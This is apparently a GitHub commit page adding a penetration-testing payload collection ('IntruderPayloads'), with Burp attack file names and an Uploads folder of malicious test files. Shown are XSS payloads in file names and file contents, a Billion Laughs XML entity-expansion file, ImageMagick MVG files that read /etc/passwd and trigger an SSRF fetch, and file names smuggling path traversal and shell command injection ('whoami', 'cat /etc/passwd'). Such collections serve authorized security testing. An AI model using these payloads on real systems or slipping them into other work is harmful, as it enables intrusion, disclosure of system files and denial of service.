IntruderPayloads by 1N3@CrowdShield

Serizao · Jan 14, 2017 · a38554c · a38554c
1 parent f8c7e71
commit a38554c
Show file tree

Hide file tree

Showing 33 changed files with 2,577 additions and 0 deletions.
diff --git a/BurpAttacks/01_burpattack_basic_methods b/BurpAttacks/01_burpattack_basic_methods
diff --git a/BurpAttacks/01_burpattack_fast_fuzz b/BurpAttacks/01_burpattack_fast_fuzz
diff --git a/BurpAttacks/03_burpattack_find_injectx b/BurpAttacks/03_burpattack_find_injectx
diff --git a/BurpAttacks/04_burpattack_sqli_quick_fuzz b/BurpAttacks/04_burpattack_sqli_quick_fuzz
diff --git a/BurpAttacks/burp_project_options.json b/BurpAttacks/burp_project_options.json
diff --git a/BurpAttacks/burp_user_options.json b/BurpAttacks/burp_user_options.json
diff --git a/BurpAttacks/burpattack_command_exec b/BurpAttacks/burpattack_command_exec
diff --git a/BurpAttacks/burpattack_sqli_error_based b/BurpAttacks/burpattack_sqli_error_based
diff --git a/BurpAttacks/burpattack_sqli_quick_fuzz b/BurpAttacks/burpattack_sqli_quick_fuzz
diff --git a/BurpAttacks/burpattack_url_attacks b/BurpAttacks/burpattack_url_attacks
diff --git a/BurpAttacks/shellshock_attack b/BurpAttacks/shellshock_attack
diff --git a/Payloads b/Payloads
diff --git a/Uploads/"><img onload=prompt(1)>.cfg b/Uploads/"><img onload=prompt(1)>.cfg
@@ -0,0 +1 @@
+"><svg onload=prompt(1)>,"><svg onload=prompt(1)>,"><svg onload=prompt(1)>,"><svg onload=prompt(1)>,"><svg onload=prompt(1)>
diff --git a/Uploads/"><img onload=prompt(1)>.img b/Uploads/"><img onload=prompt(1)>.img
@@ -0,0 +1 @@
+test	test	test	<script>alert(1)</script>
diff --git a/Uploads/"><img onload=prompt(1)>.torrent b/Uploads/"><img onload=prompt(1)>.torrent
@@ -0,0 +1 @@
+test	test	test	<script>alert(1)</script>
diff --git a/Uploads/"><svg onload=alert(1)>.jpg b/Uploads/"><svg onload=alert(1)>.jpg
diff --git a/....%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00%0d%0a\n;`whoami`'"--.png b/....%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00%0d%0a\n;`whoami`'"--.png
diff --git a/Uploads/'" -- b/Uploads/'" --
diff --git a/Uploads/';alert(1);x='.jpg b/Uploads/';alert(1);x='.jpg
diff --git a/Uploads/<h1>INJECTX.jpg b/Uploads/<h1>INJECTX.jpg
diff --git a/Uploads/BillionLaughs.txt b/Uploads/BillionLaughs.txt
@@ -0,0 +1,35 @@
+<?xml version="1.0"?>
+<!DOCTYPE root [
+<!ELEMENT root (#PCDATA)>
+	<!ENTITY ha1 "&ha0;&ha0;" >
+	<!ENTITY ha2 "&ha1;&ha1;" >
+	<!ENTITY ha3 "&ha2;&ha2;" >
+	<!ENTITY ha4 "&ha3;&ha3;" >
+	<!ENTITY ha5 "&ha4;&ha4;" >
+	<!ENTITY ha6 "&ha5;&ha5;" >
+	<!ENTITY ha7 "&ha6;&ha6;" >
+	<!ENTITY ha8 "&ha7;&ha7;" >
+	<!ENTITY ha9 "&ha8;&ha8;" >
+	<!ENTITY ha10 "&ha9;&ha9;" >
+	<!ENTITY ha11 "&ha10;&ha10;" >
+	<!ENTITY ha12 "&ha11;&ha11;" >
+	<!ENTITY ha13 "&ha12;&ha12;" >
+	<!ENTITY ha14 "&ha13;&ha13;" >
+	<!ENTITY ha15 "&ha14;&ha14;" >
+	<!ENTITY ha16 "&ha15;&ha15;" >
+	<!ENTITY ha17 "&ha16;&ha16;" >
+	<!ENTITY ha18 "&ha17;&ha17;" >
+	<!ENTITY ha19 "&ha18;&ha18;" >
+	<!ENTITY ha20 "&ha19;&ha19;" >
+	<!ENTITY ha21 "&ha20;&ha20;" >
+	<!ENTITY ha22 "&ha21;&ha21;" >
+	<!ENTITY ha23 "&ha22;&ha22;" >
+	<!ENTITY ha24 "&ha23;&ha23;" >
+	<!ENTITY ha25 "&ha24;&ha24;" >
+	<!ENTITY ha26 "&ha25;&ha25;" >
+	<!ENTITY ha27 "&ha26;&ha26;" >
+	<!ENTITY ha28 "&ha27;&ha27;" >
+	<!ENTITY ha29 "&ha28;&ha28;" >
+	<!ENTITY ha30 "&ha29;&ha29;" >
+]>
+<root>&ha30;</root>
diff --git a/Uploads/EventsSources.xml b/Uploads/EventsSources.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<TipsContents xmlns="http://www.avendasys.com/tipsapiDefs/1.0">
+  <TipsHeader exportTime="Sat Jul 09 14:43:53 PDT 2016" version="6.6"/>
+  <EventsSources>
+    <EventsSource enable="true" vendor="CheckPoint" type="Syslog" ipaddress="127.0.0.1" description="INJECTX2" name="INJECTX1"/>
+  </EventsSources>
+</TipsContents>
diff --git a/Uploads/ProxyTarget.xml b/Uploads/ProxyTarget.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<TipsContents xmlns="http://www.avendasys.com/tipsapiDefs/1.0">
+  <TipsHeader exportTime="Sat Jul 09 15:07:17 PDT 2016" version="6.6"/>
+  <Proxies>
+    <Proxy description="injectx.crowdshield.com" name="injectx.crowdshield.com" secret="" acctPort="3000" authPort="3000" hostName="injectx.crowdshield.com"/>
+  </Proxies>
+</TipsContents>
diff --git a/Uploads/Service.xml b/Uploads/Service.xml
diff --git a/Uploads/import_csv_template2.csv b/Uploads/import_csv_template2.csv
@@ -0,0 +1,7 @@
+Message Name,“><svg/onload=alert(1)>
+Message Field,“><svg/onload=alert(1)>
+Base Label,“><svg/onload=alert(1)>
+Base Label Update Date,“><svg/onload=alert(1)>
+Translated Label,“><svg/onload=alert(1)>
+Translated Label Update Date,“><svg/onload=alert(1)>
+Language,“><svg/onload=alert(1)>
diff --git a/Uploads/jpeg/test.jpeg b/Uploads/jpeg/test.jpeg
diff --git a/Uploads/mvg_read.mvg b/Uploads/mvg_read.mvg
@@ -0,0 +1,4 @@
+push graphic-context
+viewbox 0 0 640 480
+image over 0,0 0,0 'label:@/etc/passwd'
+pop graphic-context
diff --git a/Uploads/mvg_ssrf.mvg b/Uploads/mvg_ssrf.mvg
@@ -0,0 +1,4 @@
+push graphic-context
+viewbox 0 0 640 480
+fill 'url(https://crowdshield.com/.injectx/ssrf_vuln.txt)'
+pop graphic-context
diff --git a/Uploads/png/image.php.png b/Uploads/png/image.php.png
diff --git a/Uploads/ssrf.jpg b/Uploads/ssrf.jpg
diff --git a/Uploads/uploads.csv b/Uploads/uploads.csv
@@ -0,0 +1,193 @@
+file,id,external_id__v,rendition_type__v,major_version_number__v,minor_version_number__v
+,2857,,,0,1
+,2880,,,0,1
+,2912,,,0,1
+/1763/122/0_1/Lighthouse.jpg,122,,,0,1
+,2804,,,0,1
+,2849,,,0,1
+,2812,,,0,1
+,2904,,,0,1
+file:///etc/passwd,107,,,0,1
+,2872,,,0,1
+/1763/69/0_6/Screen Shot 2016-06-15 at 20.45.02.png,69,,,0,6
+,2811,,,0,1
+,2856,,,0,1
+,2905,,,0,1
+/1763/123/0_1/cathorse.jpg,123,,,0,1
+,2805,,,0,1
+,2911,,,0,1
+,2871,,,0,1
+,2920,,,0,1
+,2865,,,0,1
+,2820,,,0,1
+,2881,,,0,1
+,2806,,,0,1
+,2910,,,0,1
+,2906,,,0,1
+,2810,,,0,1
+,2882,,,0,1
+,2947,,,0,1
+,2821,,,0,1
+/1763/105/0_1/x.gif,105,,,0,1
+,2913,,,0,1
+/1763/87/0_1/pENTESTCSRF.jpg,87,,,0,1
+,2921,,,0,1
+,2874,,,0,1
+,2847,,,0,1
+,2939,,,0,1
+,3858,,,0,1
+,2839,,,0,1
+,2813,,,0,1
+,2864,,,0,1
+,2903,,,0,1
+,2803,,,0,1
+,2867,,,0,1
+,2854,,,0,1
+,2938,,,0,1
+,2876,,,0,1
+/1763/103/0_1/prueba.txt,103,,,0,1
+,2823,,,0,1
+,2931,,,0,1
+,2891,,,0,1
+,2884,,,0,1
+/1763/248/0_1/cathorse.jpg,248,,,0,1
+/1763/94/0_3/XXE.docx,94,,,0,3
+,2815,,,0,1
+,2798,,,0,1
+,2900,,,0,1
+,2868,,,0,1
+,2945,,,0,1
+,2807,,,0,1
+,3874,,,0,1
+/1763/1463/0_1/prueba.txt,1463,,,0,1
+,2924,,,0,1
+,2862,,,0,1
+,2937,,,0,1
+,2875,,,0,1
+,2830,,,0,1
+/1763/104/0_1/Chrysanthemum.jpg,104,,,0,1
+,2869,,,0,1
+,2801,,,0,1
+/1763/704/0_1/cathorse.jpg,704,,,0,1
+,3859,,,0,1
+,2808,,,0,1
+,2946,,,0,1
+,2814,,,0,1
+,2889,,,0,1
+,2863,,,0,1
+,2793,,,0,1
+/1763/98/0_1/file.zip,98,,,0,1
+,2925,,,0,1
+,2917,,,0,1
+/1763/124/0_1/cathorse.jpg,124,,,0,1
+,2802,,,0,1
+,2890,,,0,1
+,2828,,,0,1
+,2932,,,0,1
+,2855,,,0,1
+,2940,,,0,1
+,2896,,,0,1
+,2883,,,0,1
+,2799,,,0,1
+,2835,,,0,1
+,2870,,,0,1
+,2848,,,0,1
+,2822,,,0,1
+,2919,,,0,1
+,2795,,,0,1
+,2895,,,0,1
+,2819,,,0,1
+,2942,,,0,1
+,70,,,0,1
+,2850,,,0,1
+,2834,,,0,1
+,2934,,,0,1
+,2926,,,0,1
+,2842,,,0,1
+,2887,,,0,1
+,2879,,,0,1
+,2894,,,0,1
+,2843,,,0,1
+,2943,,,0,1
+,2918,,,0,1
+,2888,,,0,1
+,2818,,,0,1
+,2933,,,0,1
+,2833,,,0,1
+,2878,,,0,1
+,2927,,,0,1
+,2794,,,0,1
+/1763/99/0_1/file.zip,99,,,0,1
+,2827,,,0,1
+,3876,,,0,1
+,2836,,,0,1
+,2944,,,0,1
+,2897,,,0,1
+,2936,,,0,1
+,2844,,,0,1
+,2797,,,0,1
+,2809,,,0,1
+,2885,,,0,1
+/1763/61/0_1/23CmdCCalcA0.PNG,61,,,0,1
+/1763/102/0_1/Payload.svg,102,,,0,1
+,2826,,,0,1
+,2892,,,0,1
+,2800,,,0,1
+,2877,,,0,1
+,2792,,,0,1
+,2916,,,0,1
+,2909,,,0,1
+,2929,,,0,1
+,2851,,,0,1
+/1763/71/0_1/23CmdCCalcA0.PNG,71,,,0,1
+,2829,,,0,1
+,2816,,,0,1
+,2841,,,0,1
+,2941,,,0,1
+,2838,,,0,1
+,2923,,,0,1
+,2831,,,0,1
+,2791,,,0,1
+,2898,,,0,1
+,2853,,,0,1
+/1763/62/0_2/150.jpg,62,,,0,2
+,2915,,,0,1
+,2907,,,0,1
+,2861,,,0,1
+/1763/140/0_1/Koala.jpg,140,,,0,1
+,2930,,,0,1
+,2824,,,0,1
+,2837,,,0,1
+,2852,,,0,1
+,2908,,,0,1
+,2859,,,0,1
+,2846,,,0,1
+,2914,,,0,1
+,2901,,,0,1
+,2825,,,0,1
+/1763/120/0_1/Desert.jpg,120,,,0,1
+/1763/68/0_1/Basic Sample Resume.docx,68,,,0,1
+/1763/63/0_2/x22>%2522><svg onload=alert(1)>.jpeg.jpeg,63,,,0,2
+,2817,,,0,1
+,2866,,,0,1
+,2840,,,0,1
+,2902,,,0,1
+,2928,,,0,1
+/1763/113/0_1/prueba.txt,113,,,0,1
+,2893,,,0,1
+/1763/139/0_1/87817.jpg,139,,,0,1
+/1763/121/0_1/Jellyfish.jpg,121,,,0,1
+,91,,,2,0
+,2858,,,0,1
+,2796,,,0,1
+,2845,,,0,1
+,2832,,,0,1
+/1763/106/0_1/87817.jpg,106,,,0,1
+,2948,,,0,1
+,2935,,,0,1
+,2922,,,0,1
+,2860,,,0,1
+,2873,,,0,1
+/1763/119/0_1/Tulips.jpg,119,,,0,1
+,2886,,,0,1
+,2899,,,0,1
diff --git a/Uploads/weapons4pentester b/Uploads/weapons4pentester
diff --git a/Uploads/|| cat %2fetc%2fpasswd;test.jpg b/Uploads/|| cat %2fetc%2fpasswd;test.jpg
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1 @@
		"><svg onload=prompt(1)>,"><svg onload=prompt(1)>,"><svg onload=prompt(1)>,"><svg onload=prompt(1)>,"><svg onload=prompt(1)>